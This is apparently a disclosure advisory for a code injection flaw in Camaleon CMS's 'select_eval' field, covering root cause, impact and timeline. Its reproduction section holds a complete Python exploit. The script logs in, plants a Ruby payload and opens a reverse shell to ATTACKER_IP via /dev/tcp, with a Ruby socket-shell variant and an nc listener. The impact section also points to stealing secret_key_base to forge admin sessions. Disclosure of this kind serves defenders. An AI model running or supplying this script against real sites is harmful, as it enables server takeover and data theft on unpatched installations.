## https://sploitus.com/exploit?id=9FA99487-6A43-5BB5-BD4B-2D6470463A5D
# Security Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field
**Product:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Affected versions:** 2.1.1 โ 2.9.1 (introduced commit 415cbda6 2015-10-16; fixed commit 15882366 2026-03-29 / v2.9.2)
**Severity:** High
**CVSS 4.0 Score:** 8.7
**CVSS 4.0 Vector:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (Code Injection)
**Researcher:** Theodosis Paidakis
**Vendor notified:** 2026-06-21
**Related advisory:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` - parallel field type, same root cause, no CVE assigned)
## Summary
The `select_eval` custom field type stores an arbitrary Ruby expression in `field.options[:command]` and executes it via `instance_eval` in an ERB view whenever a post edit page is rendered. Pre-v2.9.2, any user with the `custom_fields` manage permission - commonly granted to editor-role accounts - could create this field type and achieve server-side RCE. A `select_eval` field fires on every page render of any post using the field group; its output becomes the dropdown options list. The vulnerability was patched in v2.9.2.
## Affected Component
**File:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`
```erb
```
`instance_eval` is called with the raw string from the database record. No sandboxing and no compile-time restriction on what methods or constants are accessible from the ERB binding (which is a full Rails view context).
**File:** `app/models/camaleon_cms/ability.rb`
Any user with `custom_fields` permission could create `select_eval` fields:
```ruby
%i[media comments themes widgets nav_menu plugins users settings custom_fields].each do |resource|
safe_can :manage, resource if @roles_manager[resource]
end
```
## Root Cause Analysis
The `select_eval` field type was designed to let developers dynamically populate select dropdowns from Ruby code stored in the CMS database. Executing arbitrary Ruby from a database column via `instance_eval` is equivalent to granting shell access to anyone who can write that value. The permission requirement was `custom_fields` - a routine content-management permission - rather than an explicit privileged bit.
## Relation to Prior Advisories
This finding was published GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 covering a parallel `label_eval` field type in Camaleon CMS. That advisory was part of a batch of five findings (GHSL-2024-182 through GHSL-2024-186); only two of the five received CVE numbers (CVE-2024-46986 and CVE-2024-46987). GHSL-2024-185 itself has no assigned CVE.
`select_eval` and `label_eval` share the same root cause - arbitrary Ruby stored in the database executed via `instance_eval` in an ERB view - but are distinct in every other dimension:
| | `label_eval` (GHSL-2024-185) | `select_eval` (this report) |
| -------------- | ---------------------------- | ---------------------------------- |
| Execution site | Field label in any form | `select_tag` in post edit page |
| Write path | Custom field label text | `field.options[:command]` meta row |
This report covers `select_eval` exclusively. No existing CVE or public advisory documents this specific field type and its exploitation path.
## Steps to Reproduce
Tested against v2.1.1โv2.9.1 (the externally exploitable range). Requires only an account with `custom_fields` permission - no server access.
**Prerequisites:** Any account with the `custom_fields` manage bit set - a standard editor-role permission in the affected range.
**Step 1.** Start a listener:
```bash
nc -lnvp 4444
```
**Step 2.** Run the script. Edit `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID`, and credentials.
`TYPE_ID` - post type ID visible in the admin sidebar URL (e.g. `/admin/post_type/2/posts`).
`POST_ID` - any post ID under that type, from the post list edit links.
```python
import requests, re, time
BASE = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT = 4444
TYPE_ID = 2 # post type ID - from admin sidebar URL
POST_ID = 1 # any post under that type - from post list edit links
USERNAME = "editor" # any account with custom_fields manage permission
PASSWORD = "Editor1234!"
# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}'
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'
s = requests.Session()
r = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
"authenticity_token": csrf,
"user[username]": USERNAME,
"user[password]": PASSWORD,
})
r = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)
idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
"authenticity_token": csrf,
"custom_field_group[name]": f"exploit_{idx}",
"custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}", # must be PostType_Post, not PostType
f"fields[{idx}][name]": "Shell",
f"fields[{idx}][slug]": f"rce_{idx}",
f"field_options[{idx}][field_key]": "select_eval",
f"field_options[{idx}][command]": PAYLOAD, # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)
gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")
# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```
## Impact
Any account with `custom_fields` permission (pre-v2.9.2) gains:
- **Arbitrary Ruby execution** in the Rails process, with the privileges of the web server user (`deploy`, `www-data`, `rails`, etc.)
- **Persistent execution**: the payload fires on every page render of every post using the field group - not a one-shot exploit
- **Session forgery**: reading `secret_key_base` from `config/secrets.yml` allows forging arbitrary session cookies for any user including admins
- **Multi-site impact**: on a shared Camaleon instance, the Rails process has access to all sites' data
Pre-v2.9.2, the `custom_fields` permission was routinely granted to editor-role users. An attacker who compromises any editor-level account achieves full server-side RCE.
## Timeline
**2026-06-19** - Discovered during source analysis of v2.9.2 and v2.9.1
**2026-06-21** - Vendor notified
**2026-03-29** - Patch already released (v2.9.2, commit 15882366)